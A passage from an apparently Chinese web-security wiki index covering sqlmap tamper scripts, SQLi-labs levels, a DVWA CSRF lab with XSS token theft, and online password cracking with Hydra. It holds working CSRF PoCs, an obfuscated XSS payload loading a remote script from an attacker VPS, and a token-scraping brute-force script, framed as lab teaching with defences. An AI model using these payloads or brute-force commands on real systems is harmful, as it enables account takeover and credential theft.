用"LIKE"运算符替换全部等于号"="greatest.py 用"GREATEST"函数替换大于号">"halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释ifnull2ifisnull.py 用"IF(ISNULL(A), B, A)"替换像"IFNULL(A, B)"的实例lowercase.py 用小写值替换每个关键字字符modsecurityversioned.py 用注释包围完整的查询modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询multiplespaces.py 在SQL关键字周围添加多个空格nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器overlongutf8.py 转换给定的payload当中的所有字符percentage.py 在每个字符之前添加一个百分号randomcase.py 随机转换每个关键字字符的大小写randomcomments.py 向SQL关键字中插入随机注释securesphere.py 添加经过特殊构造的字符串sp_password.py 向payload末尾添加"sp_password" for automatic obfuscation from DBMS logsspace2comment.py 用"/**/"替换空格符space2dash.py 用破折号注释符"--"其次是一个随机字符串和一个换行符替换空格符space2hash.py 用磅注释符"#"其次是一个随机字符串和一个换行符替换空格符space2morehash.py 用磅注释符"#"其次是一个随机字符串和一个换行符替换空格符space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符space2mssqlhash.py 用磅注释符"#"其次是一个换行符替换空格符space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符space2mysqldash.py 用破折号注释符"--"其次是一个换行符替换空格符space2plus.py 用加号"+"替换空格符space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符unionalltounion.py 用"UNION SELECT"替换"UNION ALL SELECT"unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符varnish.py 添加一个HTTP头"X-originating-IP"来绕过WAFversionedkeywords.py 用MySQL注释包围每个非函数关键字versionedmorekeywords.py 用MySQL注释包围每个关键字xforwardedfor.py 添加一个伪造的HTTP头"X-Forwarded-For"来绕过WAF SQLi_Labs中文目录Page-1(Basic Challenges)12345678910111213141516171819Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)Page-2 (Advanced Injections)123456789101112131415161718192021Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)Less-24 Second Degree Injections _Real treat_ -Store Injections (二次注入)Less-25 Trick with OR & AND (过滤了or和and)Less-25a Trick with OR & AND Blind (过滤了or和and的盲注)Less-26(failed) Trick with comments and space (过滤了注释和空格的注入)Less-26 Trick with comments and space (过滤了注释和空格的注入)Less-26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)Less-27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)Less-27a GET - Blind Based- All your UNION & SELECT belong to usLess-28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入Less-28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入Less-29 基于WAF的一个错误Less-30 Get-Blind Havaing with WAFLess-31 Protection with WAFLess-32 Bypass addslashes()Less-33 Bypass addslashes()Less-34 Bypass Add SLASHESLess-35 why care for addslashes()"},{"title":"九. CSRF跨站请求伪造","path":"/wiki/VulnerabilityInsightDocs/九. CSRF跨站请求伪造.html","content":"总字符数: 13.69K 代码: 3.33K, 文本: 3.84K 预计阅读时间: 31 分钟 漏洞信息 CSRF(跨站请求伪造)是攻击者利用用户的登录凭证,如Cookie,在不知情的情况下代表用户进行操作. 例如,假设用户在网站A上通过链接http://xxx.com/xx.php?password=admin更改密码.如果网站防护不足,攻击者可以在另一网站上放置一个看似无害的图片<img src='http://xxx.com/xx.php?password=admin' />.如果网站A的管理员查看这个图片,他的浏览器会自动发送更改密码为admin的请求,而管理员对此毫无察觉. 漏洞利用条件CSRF漏洞的出现基于两个主要条件,正确理解它们有助于加强安全防护: 来源检查(Referer验证):通过检查请求从哪里来,服务器可以拒绝非本站来源的修改请求.但如果来源验证不严或可以绕过,攻击者的请求可能被误信. 令牌使用(Token验证):服务器为敏感操作生成一次性令牌,用户请求时需带上这个令牌.无有效令牌的请求将被拒绝.如果没有这样的系统或令牌易猜,漏洞可能被攻击者利用. CSRF利用流程 CSRF的危害 执行恶意操作: 攻击者可以通过伪造用户请求执行恶意操作,比如修改用户的设置、删除重要数据等,导致用户遭受损失. 滥用用户权限: 如果用户在受攻击的网站中具有管理员或特殊权限,攻击者可以滥用这些权限执行更为严重的攻击,如关闭账户、修改系统设置等. 社会工程学攻击: 利用CSRF,攻击者可以通过引导用户点击链接或访问特定页面,从而进行社会工程学攻击,欺骗用户执行不安全的操作. 常见PayloadHTML利用 HTML 元素发出 CSRF 请求,这是最常见的 CSRF 攻击.HTML 中能设置 src/href 等链接地址的标签都可以发起一个 GET 请求,如: 1234567891011121314<link href=""><img src=""><img lowsrc=""><img dynsrc=""><meta http-equiv="refresh" content="0; url="><iframe src=""><frame src=""><script src=""></script><bgsound src=""></bgsound><embed src=""></bgsound><video src=""></video><audio src=""></audio><a href=""></a><table background=""></table> CSS1background:url("") 表单 Post12345<form action="http://www.a.com/register" id="register" method="post"> <input type=text name="username" value="" /> <input type=password name="password" value="" /></form><script>document.forms[0].submit();</script> 漏洞实验本次靶场采用的为dvwa 类型 IP 靶机 192.168.64.1 Exp服务器(Kali) vmcentos.com 账号 密码 admin password 1337 charley 低级请求分析首先我们进入DVWA目标网站,用户名admin,密码 password,并将级别配置为low. 来到CSRF选项,执行一次正常的修改密码并进行观察.可以看到,更改密码的请求是直接放到url里的get请求. 可以看到以上请求包内也没有token第一个要求满足然后我们看看第二个要求referer我们右键Send to Repeater或者快捷键Ctrl+R发送到repeater模块 通过以上图片我们可以分析出即使将referer删掉之后也可以造成密码更改,2个条件都满足 构建POC 我们复制以下内容在Kali的中构造恶意页面 12345678910111213<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://192.168.86.131:8042/vulnerabilities/csrf/"> <input type="hidden" name="password&#95;new" value="qqqq" /> <input type="hidden" name="password&#95;conf" value="qqqq" /> <input type="hidden" name="Change" value="Change" /> <input type="submit" value="Submit request" /> </form> <script>document.forms[0].submit();</script> </body></html> 然后我们需要配置下hosts文件,将vmcentos.com指向kali的IP地址 PHPstudy第二域名设置为Kali的网关地址(其实就是我们的phpstudy机器的IP)比如我这里是:192.168.64.1 然后刷新DNS 放行后我们的DVWA密码就被修改成了qqqq 上方为了演示所以构造的html需要点击,我们可以将poc放到标签内就不需要点按钮了,只要用户打开就能修改 123<html><img src="http://192.168.86.131/dvwa/vulnerabilities/csrf/?password_new=qqqq&password_conf=qqqq&Change=Change#"/></html> 这段内容描述了通过构造包含恶意代码的poc.html文件,通过<img>标签的src属性来发送GET请求,从而实施CSRF攻击,达到修改用户密码的目的.以下是对内容的精简和整理: CSRF攻击实例攻击步骤 创建包含恶意代码的 poc.html 文件,用于触发CSRF攻击. 利用<img>标签的src属性发送GET请求,诱导用户访问 poc.html. 用户访问后,相当于以其身份发送一次改密的GET请求至服务器,如:http://example.com/change-password?new_password=123456. 服务器接收合法用户请求,执行改密响应,导致密码被修改. 实验结果分析通过<img>标签发送GET请求是一种常见的技巧,但对于一些敏感请求,如果未经妥善处理,仅依赖GET请求而不进行其他验证,容易受到CSRF攻击. 此示例中,用户只需访问包含恶意代码的poc.html文件,其密码即可被攻击者修改.这强调了在处理敏感请求时,需要进行充分验证和其他防御措施,以防止CSRF攻击的发生. 中级请求分析请求分析步骤同低级一样,发现没有token然后将refer删掉看一下 可以看到PHP报错PHP Notice: Undefined index: HTTP_REFERER大概意思就是请求头中的referer不存在我们再伪造一个referer试一下,结果报错这个请求有点问题 接下来我们查看DVWA CSRF的源码分析如下: 我们看到如下代码 1234567 if(stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { # 代码块 }else{ echo "<pre>That request didn't look correct.</pre>";} 12$_SERVER['HTTP_REFERER'] # 获取请求头中的referer值也就是来源地址$_SERVER['SERVER_NAME'] # 获取请求头中的HOST值如:主机名/域名 stripos函数 12stripos (string 字符串,string 要查找的内容);返回查找的内容的位置,如果未找到返回FALSE 找到了并且返回为8而不是FALSE,也就是说只要referer中包含服务器的HOST就可以 构建POC这里使用二级域名的方式构建POC 恶意网页的代码还是用的低级中的代码 我们可以看到密码修改成功,因为我们的域名中本身就带着靶机的HOST所以stripos函数可以找到并且条件成立 高级分析本步骤将分析请求方式及规则 进行一次正常的改密请求,如下: GET请求中使用的user_token参数正是之前提到的令牌(token)机制,确保每次请求的令牌都是无法预测的随机数.这意味着低到中级的攻击方法不再适用,因为没有token,请求将被视为无效.由于token的不可预知性,即使在代码中也难以捕获. 重点强调: 想要通过CSRF攻击构造恶意页面窃取用户的token是行不通的,因为存在跨域问题.举例来说,目标页面http://192.168.86.131:8042/vulnerabilities/csrf位于192.168.86.131服务器上,而攻击者页面可能托管在vmcentos.com.不同的域意味着不能互相获取信息–域名的唯一性使得不可能伪造.域B的页面无法获取域A页面的内容,除非域A主动分享.因此,攻击者无法主动获取目标域的user_token等敏感信息.至此,我们可以判断,单独使用CSRF攻击无法获取用户的token,因而无法完成攻击. 本步骤将利用xss绕过防御规则 这里需要利用到high等级的xss漏洞来获取user_token,payload如下:<iframe src='../csrf' onload=alert(frames[0].document.getElementsByName('user_token')[0].value)> 我获取好多次token以下面为准而获取user_token后,我们就可以重复low等级的步骤,只不过改变一下src里的利用代码: 1234567891011121314<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://192.168.64.1/dvwa/vulnerabilities/csrf/"> <input type="hidden" name="password&#95;new" value="123456" /> <input type="hidden" name="password&#95;conf" value="123456" /> <input type="hidden" name="Change" value="Change" /> <input type="hidden" name="user&#95;token" value="b2bbd43c3b05749c9f935a19caab8348" /> <input type="submit" value="Submit request" /> </form>\t<script>document.forms[0].submit();</script> </body></html> 注意:8ecf7635b8b09b6caa0a6e1c98dcecc1是通过XSS获取的一次性token,它在每次页面刷新时都会变更. 在安全性较高的网站中,敏感操作(如支付、密码更改等)会要求一个由服务器生成的一次性随机数(`token`).这种机制确保了用户操作的合法性:用户的操作必须携带这个随机数,服务端会验证这个随机数,不匹配或缺失则拒绝请求. 进行攻击时,可按照低级别安全的步骤操作,创建HTML文档来诱导合法用户打开并触发攻击. 极为重要的警告:在使用XSS显示token时,请不要跳转到CSRF页面,因为在通过CSRF跳转到密码修改页面的过程中,token将会被重新刷新,导致之前获取的token失效.当前的浏览器安全策略不支持跨域访问,因此攻击脚本无法直接获取目标页面的user_token. 特高级(不可能)DVWA验证了原始密码,如果攻击者不知道原始密码的情况下不会攻击成功 XSS (Reflected)配合CSRF跨域vps中1.js12345ifr = document.createElement('iframe');ifr.src = "/dvwa/vulnerabilities/csrf/";ifr.hidden = 1;document.body.appendChild(ifr);setTimeout(function () { f = frames[0]; t = f.document.getElementsByName('user_token')[0].value; i = document.createElement('img'); i.src = '/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=' + t; },3000); payload12345<!-- 未编码 --><svg/onload=i=document.createElement('script');i.src='http://192.168.64.129:8080/1.js';document.body.appendChild(i);> <!-- 编码 --><svg/onload=i=document.createElement('\\u0073\\u0063\\u0072\\u0069\\u0070\\u0074');i.src='\\u0068\\u0074\\u0074\\u0070\\u003A\\u002F\\u002F\\u0031\\u0039\\u0032\\u002E\\u0031\\u0036\\u0038\\u002E\\u0036\\u0034\\u002E\\u0031\\u0032\\u0039\\u003A\\u0038\\u0030\\u0038\\u0030\\u002F\\u0031\\u002E\\u006A\\u0073';document.body.appendChild(i);> 由于hidh等级采用了正则过滤,所以我们要实体编码部分字段 1<svg/onload=i=document.createElement('\\u0073\\u0063\\u0072\\u0069\\u0070\\u0074');i.src='\\u0068\\u0074\\u0074\\u0070\\u003A\\u002F\\u002F\\u0031\\u0030\\u002E\\u0031\\u0030\\u002E\\u0031\\u0030\\u002E\\u0031\\u0033\\u003A\\u0038\\u0030\\u0038\\u0030\\u002F\\u0031\\u002E\\u006A\\u0073';document.body.appendChild(i);> 默认密码为pssword 将准备好的payload复制到输入框内 退出后使用默认密码登录失败 使用密码:123登录成功 防御验证码(CAPTCHA)验证码是一种强制用户与应用交互的手段,以确认操作的是真人而非自动化脚本或攻击程序.这因为自动化的攻击很难解决验证码,从而可以有效防止机器人自动执行敏感操作. Referer检查(HTTP Referer)通过检查HTTP请求头中的Referer值,服务器可以判断请求是否来自一个合法的源.虽然这种方法可以提高安全性,但并不总是可靠,因为Referer有时可能因为各种原因(如用户隐私设置)而不被发送. TokenToken是一种非常有效的防御机制,因为它确保了每次敏感操作的请求都包含一个无法预测的随机值.将Token存储在用户的会话(Session)或浏览器的Cookies中可以提高安全性.每次用户提交表单时,都应该生成一个新的Token,并且验证提交的Token与会话中的Token是否一致.Token应当保密,不能出现在URL中,以避免通过Referer泄漏. 双重验证(Double Submit Cookies)这种方法涉及生成两个Token,一个存储在用户的Cookie中,另一个作为表单的一部分随请求发送.服务器将验证两个Token是否匹配.因为攻击者无法读取目标网站的Cookie,所以这个方法在一定程度上能防止CSRF攻击. 自定义请求头(Custom Request Headers)大多数CSRF攻击方法依赖于浏览器自动携带诸如Cookies和Authentication data等凭证.可以通过要求所有可能导致状态变化的HTTP请求携带一个自定义的请求头(例如:X-Requested-With: XMLHttpRequest)来帮助防御CSRF攻击.服务器将检查这个自定义头的存在性,它不会被普通的表单提交所携带,因此可以用来区别非法请求. 同源策略(SameSite Cookie Attribute)最新的浏览器支持SameSite Cookie属性,可以设置为Strict或Lax.这个属性用于控制Cookie是否可以跨站点提交.当设置为Strict时,Cookie将只在请求是从同一网站发出时发送,这可以有效地阻止CSRF攻击. HTTPS使用HTTPS可以防止中间人攻击,这可以防止攻击者截获或篡改请求.虽然这对直接防御CSRF没有帮助,但它可以增强整体的通信安全,包括Token的传输. 限制跨站点脚本(XSS)防止XSS攻击是防止CSRF的重要一环,因为XSS可以被用来绕过同源策略,从而窃取Cookies和Token等.确保应用充分防御XSS,例如使用内容安全策略(CSP),转义用户输入,以及使用安全的编程实践."},{"title":"二. 在线密码破解","path":"/wiki/VulnerabilityInsightDocs/二. 在线密码破解.html","content":"总字符数: 21.80K 代码: 13.47K, 文本: 4.29K 预计阅读时间: 1.29 小时 在线密码破解 防范措施 确保所有认证尝试都是通过安全的、加密的通道进行,例如使用SSL/TLS. 实现账号锁定机制,即在一定时间内密码尝试失败次数达到阈值时,暂时锁定账号. 限制登录尝试的频率和总次数,减缓攻击速度. 使用多因素认证,增加额外的安全层次. 破解思路 钓鱼攻击,引诱用户透露自己的凭证. 社交工程,通过欺骗手段获取用户信息. 使用键盘记录器或恶意软件捕捉用户的凭证. 在没有适当防范措施的系统上尝试常见密码或使用密码喷洒攻击(尝试大量账户与少数几个可能的密码组合). 优势 攻击者可以直接确认密码是否正确. 如果系统缺乏监控或者安全防护,破解过程可能不会立即被发现. 劣势 容易触发账号锁定或者其他安全机制. 可能会在系统日志中留下明显的痕迹,引起管理员注意. 通常比离线破解更耗时,尤其是在有登陆尝试限制的情况下. 字典 通过收集网站信息生成字典 1234567cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt-m : 最小单词长度-d : 爬网深度-e : 收集包含email地址信息-c : 每个单词出现次数- 支持基本、摘要 身份认证- 支持代理 https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txthttps://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt Burp概述一个有效的字典可以大大提高暴力破解的效率 比如常用的用户名/密码TOP500 脱裤后的账号密码(社工库) 根据特定的对象(比如手机、生日和银行卡号等)按照指定的规则来生成密码 暴力破解流程 确认登录接口的脆弱性: 尝试登录: 攻击者首先会尝试使用可能的用户名和密码进行登录.这可能包括常见的用户名(如admin、root等)和常见的密码. 抓包: 攻击者使用网络抓包工具(例如Wireshark、Burp Suite等)截取登录请求的数据包,以便分析和模拟登录请求. 观察验证元素和response信息: 攻击者分析登录请求的验证元素(如用户名、密码字段)以及服务器返回的响应信息.他们可能寻找特定的错误信息或验证机制,以确定暴力破解的可能性. 对字典进行优化: 构建密码字典: 攻击者使用密码字典,其中包含可能的密码组合.这个字典可能包括常见密码、弱密码、以及从公开泄漏的密码中获取的信息. 优化字典: 攻击者可能根据目标系统的特点对密码字典进行优化,包括根据目标行业、用户行为、常见密码策略等进行调整,以提高破解效率. 工具自动化操作: 使用暴力破解工具: 攻击者使用自动化工具,如Hydra、Medusa等,通过多线程、多连接方式,自动化地尝试字典中的用户名和密码组合. 调整尝试频率: 攻击者可能调整尝试的频率,以防止被系统的账号锁定机制检测到.他们可能在尝试之间引入延迟,避免触发防护机制. 字典优化是一项重要的工作,它可以提高暴力破解的效率,并更好地适应目标系统的特点. 以下是一些字典优化的技巧: 根据注册提示进行优化: 密码长度要求: 如果系统要求密码长度至少为8位,那么优化字典时可以去掉少于8位的密码.这有助于排除那些不符合长度要求的密码,提高破解的效率. 密码复杂性要求: 如果系统要求密码包含大写字母、小写字母、数字和特殊字符的组合,可以调整字典以包含这些元素,增加破解成功的可能性. 爆破管理后台账号: 常见管理员账号: 管理员账号通常是攻击者爆破的重要目标.使用常见的管理员账号,如admin、administrator、root等,可以增加破解成功的机会. 定制管理员账号: 根据目标系统的特点,可以定制一些可能的管理员账号,包括系统默认的和常见的自定义管理员账号. 根据目标行业或特点定制字典: 行业术语: 如果攻击目标属于特定行业,可以加入与该行业相关的术语、缩写或关键字,以增加猜测密码的准确性. 目标特点: 根据目标系统的特点,如公司名、产品名、品牌名等,将这些信息加入字典,因为攻击者可能尝试使用这些信息作为密码. 使用规则生成密码组合: 规则生成工具: 使用密码生成工具,通过规则生成密码组合.这些规则可以包括大小写转换、数字替换、特殊字符添加等,以生成更多可能的密码组合. 基于历史泄漏数据: 公开泄漏数据: 利用公开泄漏数据中的密码信息,加入字典.这有助于攻击者尝试使用在其他网站泄漏的密码进行攻击. 根据社工情报调整字典: 社会工程学信息: 根据可能从社会工程学攻击中获得的信息,例如用户的兴趣、爱好、生日等,优化字典. 基于表单的暴力破解 输入错误时,有以下提示 这里没有验证码等其他验证机制,抓包看看 发送到Intruder进行暴力破解 设置好Payload 然后把username or password is not exists复制到Grep Match中.后面可以利用Grep Match区分哪些请求里面有这个字符串 然后就可以开始攻击了,匹配到username or password is not exists都是攻击失败的,另外,从响应长度也可以看出攻击成功与否 验证码绕过(on server)验证码可以用来防止恶意注册、防止暴力破解.服务端验证码常见问题: 验证码在后台不过期,导致长期可以使用 验证码校验不严格,逻辑出现问题 验证码设计的太过简单和有规律,容易被猜解 我们先简单的测试一下,不输入验证码的情况下会提示验证码为空,输入错误验证码的情况下会提示验证码错误,只有验证码正确的前提下才会提示账号或密码不存在 下面通过抓包判断一下服务器端有没有对验证码进行验证,发现是有的 说明后端对验证码是有验证的,我们来了解一下验证码生成的逻辑 刷新页面的时候,我们会向后台发送一个请求 后台收到请求会生成一个验证码并在session中把验证码保存下来. 我们先生成一个新的验证码,然后在BurpSuite中输入正确的验证码 提示账号密码不存在 我们换个密码再发送一次 发现依然是提示账号密码不存在,正常来说应该提示验证码错误,这说明验证码长期有效,我们发送到Intruder中直接暴力破解 验证码绕过(on client) 这里我们需要输入验证码,通过查看源码,发现验证码的验证逻辑是在客户端实现的 这个JavaScript会从0-9和26个大写字母中随机挑选5个作为验证码,然后用validate()去验证 另外,通过源码也可以看到,我们每点一次验证码,就会调用 createCode()改变验证码 通过BurpSuite发现后台不会对输入错误的验证码进行验证,在浏览器中,输入错误的验证码是有提示的 正常来说会有这个弹窗 说明前端设置的验证码如同虚设,后端不会对验证码进行验证.那么我们不用理会验证码,直接进行暴力破解就可以了 token防爆破 利用开发者工具可以发现这里有一个隐藏的标签 里面的数字就是我们的token,我的每次提交的请求都会有一个token值,后端会验证这个token值 但是这个token已经写到了html页面中,攻击者只需要写个工具,提交认证前都加上这个token就好了 用一个简单的python脚本测试,代码如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051# 导入requests库,用于发送HTTP请求import requests# 导入re库,用于正则表达式匹配import re# 目标URL,这里是一个登录页面的URLurl = "http://192.168.171.133/pikachu/vul/burteforce/bf_token.php"# 定义一个函数,用于获取页面中的token和cookiesdef get_token_and_cookie(url): # 发送GET请求获取页面内容 response = requests.get(url) # 获取页面内容文本 content = response.text # 使用正则表达式匹配页面中的token值 pattern = '(?<=value=")\\w+(?=")' token = re.search(pattern, content).group() # 获取HTTP响应中的cookies cookies = response.cookies # 返回token和cookies return token, cookies# 待尝试的用户名列表users = ["admin", "root"]# 待尝试的密码列表passwds = ["admin", "password", "123456"]# 构造POST请求的数据,包括用户名、密码、token等data = {"submit": "Login"}# 遍历用户名列表for user in users: # 遍历密码列表 for passwd in passwds: # 设置POST请求的用户名和密码 data["username"] = user data["password"] = passwd # 获取页面中的token和cookies data["token"], cookies = get_token_and_cookie(url) # 从cookies中提取PHPSESSID,并构造请求头 cookies = cookies.get_dict() headers = {"Cookie": ""} headers["Cookie"] = "PHPSESSID=" + cookies["PHPSESSID"] # 发送POST请求进行登录尝试 response = requests.post(url, data=data, headers=headers) # 获取登录尝试后的页面内容 content = response.text # 检查页面内容是否包含"login success",如果是则表示登录成功 if "login success" in content: print("username: ", user, "password: ", passwd) 输出结果 msf之的ssh_login一、查看SSH服务的版本信息首先,我们先来使用MSF查看SSH服务的版本信息.先搜寻SSH服务信息收集的模块,执行命令: 1search name:ssh type:auxiliary 可以搜索出大量MSF中的SSH信息收集相关模块,如下所示: 在这里,我们选择使用第13个模块,执行命令: 12use 13show options 可以使用该模块,并且查看该模块的参数.之后我们设定该模块的RHOSTS参数为192.168.64.144,并且执行该模块,结果如下所示: 从上图中可以看出,我们的目标主机的SSH信息收集成功,能够收集到目标设备的SSH版本等信息. 二、对SSH服务进行暴力破解实际上,在上述搜索出来的模块中,我们还可以选择使用第8个模块,对目标主机的SSH服务进行暴力破解,执行命令: 12use 8show options 即可使用该模块,并查看该模块的参数,如下所示: 使用该模块,我们需要指定暴力破解的字典,在MSF中有很多自带的字典,进入 /usr/share/metasploit-framework/data/wordlists/目录下,即可看到很多字典文件,如下所示: 在这里,我们选择自带的字典,并指定好RHOSTS参数,执行该模块.如果我们的字典选择合适,就可以扫描处该设备的SSH用户名和密码,如下所示: hydra-九头蛇 优点: 多协议支持: Hydra支持多种协议,包括SSH、FTP、HTTP等,这使得它能够用于不同类型的服务和系统. 多服务模块: Hydra具有丰富的模块支持,可以轻松添加对新服务的支持,这增加了工具的灵活性. 多种攻击方式: Hydra支持多种密码攻击方式,包括字典攻击、暴力攻击、基于规则的攻击等,使其适用于不同的密码破解场景. 开源且活跃的社区支持: 作为开源工具,Hydra拥有活跃的社区支持,用户可以获得及时的更新和解决方案. 支持代理: Hydra支持使用代理,这使得用户可以通过代理进行匿名化操作,提高隐匿性. 缺点: 稳定性差,程序时常崩溃: Hydra在某些情况下可能不够稳定,容易发生崩溃,这可能导致任务的中断和重新启动. 速度控制不好,容易触发服务屏蔽或锁死机制: Hydra的速度控制相对较简单,可能在攻击过程中产生过多的尝试,从而触发目标服务的屏蔽或锁死机制. 每个主机都会新建进程,每个服务都新建实例: 对于大规模目标破解,Hydra的处理方式可能不够高效.每个主机和服务都会启动新的进程,可能导致系统资源消耗过大. 1234567891011121314151617181920212223-R 还原以前中止或崩溃的会话-S 使用SSL连接-s 指定非默认端口-l 使用登录名进行登录-L 使用账号字典进行破解-p 使用密码进行登录-P 使用密码字典进行破解-e nsr n:空密码破解s:使用的user作为密码破解r:反向登录(把用户名倒叙,当做密码进行尝试.)-C 指定所用格式为"user:password'"字典文件-M 指定破解的目标文件,如果不是默认端口,后面跟上":pot"-o 将破解成功的用户名: 密码写入指定文件-b 指定文件类型(txt(default),json,jsonv1)-f/-F 在找到用户名或密码时退出(f每个主机F主机文件)-t 设置每个目标并行连接数(默认为16)-T 任务总体的并行连接数(默认为64)-w/-W 设置超时时间(默认为32秒)每个线程之间连接等待时间(默认为0)-v/-v/-d 详细模式/显示login+pass每个尝试/调试模式-O 使用老版本SSLV2和V3-q 不输出连接错误信息-U 查看支持破解的服务和协议server 目标ip、某个网段service 指定服务/协议名称OPT 某些模块支持附加输入 简单使用​\t在kali中打开终端,直接输入hydra,可以看到hydra的版本、参数、以及可以爆破的协议. 从图中圈起来的地方可以看到,hydra可以爆破 http、ftp、mysql等多种协议. 爆破SSH我们拿爆破SSH协议来举个栗子. 用 -l 参数指定用户名,-p参数指定密码,后面直接跟目标的IP地址和协议. 1hydra -l root -p root 192.168.64.144 ssh 成功的话,会把账号和密码高亮显示出来. 也可以使用另外一种格式: 1hydra -l root -p root ssh://192.168.64.144 执行的结果都是一样的. 这里主要简单介绍一下用法,我知道我的SSH密码,所以就直接指定密码了. 但很多时候,我们是不知道密码的,所以就要使用密码字典来爆破. 使用字典爆破小写的 -p 是指定密码,大写的 -P是指定字典文件. 12hydra -l root -P 密码字典 192.168.64.144 sshhydra -l root -P ./自己常用的密码字典.txt 192.168.64.144 ssh 可以看到爆破成功了,但只给了一个结果: 12# 如果想看爆破的过程,可以加上 -vV参数,显示执行细节hydra -l root -P ./自己常用的密码字典.txt 192.168.31.144 ssh -vV 上面的密码字典使用的是相对路径,我们也可以把它换成绝对路径: 1hydra -l root -P /opt/PasswordDic/用户名和密码/密码/自己常用的密码字典.txt 192.168.64.144 ssh SSH协议的默认用户是 root,所以上面我们都是指定的用户名,如果不确定用户名,就要指定用户名字典,比如下面这种格式: 1hydra -L ../账号/user500.txt -P /opt/PasswordDic/用户名和密码/密码/自己常用的密码字典.txt 192.168.64.144 ssh 爆破其他协议服务时,把协议名和默认用户名换一下就可以了. 协议对应的服务名和默认密码经常会忘记,下面整理了一些常见的服务爆破格式 Hydra爆破常见服务远程桌面(RDP) 1hydra -l administrator -P 密码字典 192.168.64.144 rdp 共享文件(SMB) 1hydra -l administrator -P 密码字典 192.168.64.144 smb 文件传输(FTP) 1hydra -l 用户名 -P 密码字典 192.168.64.144 ftp 邮箱协议(POP3) 1hydra -l 用户名 -P 密码字典 192.168.64.144 pop3 MSSQL数据库 1hydra -l sa -P 密码字典 192.168.64.144 mssql MySQL数据库 1hydra -l 用户名 -P 密码字典 192.168.64.144 mysql Oracle数据库 1hydra -l 用户名 -P 密码字典 192.168.64.144 oracle Redis数据库 1hydra -l 用户名 -P 密码字典 192.168.64.144 redis PgSQL数据库 1hydra -l 用户名 -P 密码字典 192.168.64.144 postgresql 编译具有 SMB2 支持的 Hydra12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788# 在尝试对系统使用 THC-Hydra 时,我发现 Hydra 9.0 不支持 SMB2.我收到以下错误:[ERROR] invalid reply from target smb://10.10.10.2:445/# 为了获得 SMB2 支持,请执行以下步骤: ┌──(root㉿kill3r)-[/opt]└─# cd /opt┌──(root㉿kill3r)-[/opt]└─# git clone https://github.com/vanhauser-thc/thc-hydra.git┌──(root㉿kill3r)-[/opt]└─# cd thc-hydra ┌──(root㉿kill3r)-[/opt]└─# apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev \\ libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \\ firebird-dev libmemcached-dev libgpg-error-dev \\ libgcrypt11-dev libgcrypt20-dev libsmbclient-dev# 要安装缺少的 SMB2 支持包,请运行┌──(root㉿kill3r)-[/opt]└─# apt install libsmbclient-dev# 在运行 make 之前,继续运行 ./configure 以验证您的库是否已安装.┌──(root㉿kill3r)-[/opt/thc-hydra]└─# ./configureStarting hydra auto configuration ...Detected 64 Bit Linux OSChecking for zlib (libz.so, zlib.h) ... ... foundChecking for openssl (libssl, libcrypto, ssl.h, sha.h) ... ... foundChecking for gcrypt (libgcrypt.so, gpg-error.h) ... ... foundChecking for idn (libidn.so) ... ... foundChecking for curses (libcurses.so / term.h) ... ... found, color output enabledChecking for pcre (libpcre.so, pcre.h) ... ... foundChecking for Postgres (libpq.so, libpq-fe.h) ... ... foundChecking for SVN (libsvn_client-1 libapr-1.so libaprutil-1.so) ... ... foundChecking for firebird (libfbclient.so) ... ... 